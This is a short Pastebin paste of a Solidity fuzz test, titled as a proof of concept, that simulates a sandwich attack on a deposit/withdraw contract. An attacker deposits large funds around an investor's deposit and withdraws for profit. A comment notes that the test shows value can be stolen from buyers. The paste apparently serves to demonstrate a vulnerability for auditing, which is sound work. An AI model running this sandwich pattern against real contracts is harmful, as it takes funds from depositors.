Advertisement
Guest User

GB Sandwich POC

a guest
Nov 20th, 2023
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.93 KB | None | 0 0
  1. function testSandwich(address investor, uint256 amount, uint256 mul) external {
  2. _prepareAddress(investor);
  3. amount = bound(amount, 1 ether, 10_000 ether);
  4. mul = bound(mul, 2, 5000);
  5.  
  6. _disableWhitelist();
  7.  
  8. address attacker = delta;
  9. uint256 attacker_amount = amount * mul;
  10.  
  11. vm.deal(investor, amount);
  12. vm.deal(attacker, attacker_amount);
  13.  
  14. uint256 attacker_balance_b = attacker.balance;
  15.  
  16. _deposit(attacker_amount, attacker, alpha);
  17. _deposit(amount, investor, beta);
  18. _withdraw(attacker);
  19.  
  20. uint256 attacker_balance_a = attacker.balance;
  21. uint256 profits = attacker_balance_a > attacker_balance_b ? attacker_balance_a - attacker_balance_b : 0;
  22.  
  23. assertEq(profits, 0, "Sandwich profit should be zero."); // there is profit from the attack, therefore sandwich is possible to steal significant value from buyers
  24. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement